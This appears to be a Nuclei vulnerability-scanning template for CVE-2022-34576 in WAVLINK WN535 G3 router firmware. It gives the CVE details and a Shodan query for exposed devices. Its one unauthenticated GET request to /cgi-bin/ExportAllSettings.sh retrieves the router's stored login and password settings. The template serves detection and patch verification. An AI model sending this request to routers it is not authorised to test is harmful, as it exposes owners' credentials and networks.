id: CVE-2022-34576

info:
  name: WAVLINK WN535 G3 - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3_Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34576
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/tr3ss/gofetch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34576
    epss-score: 0.03075
    epss-percentile: 0.90796
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query: http.html:"Wavlink"
  tags: cve,cve2022,wavlink,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022008737e106e5c8fe1e9e117f6bc57f005c3fb3b9810552455947f1568b74df85a022016b0f75b1b14036e1e8e1ce246588f322c3dbd791bc9db34ffead55bef452f8d:922c64590222798bb761d5b6d8e72950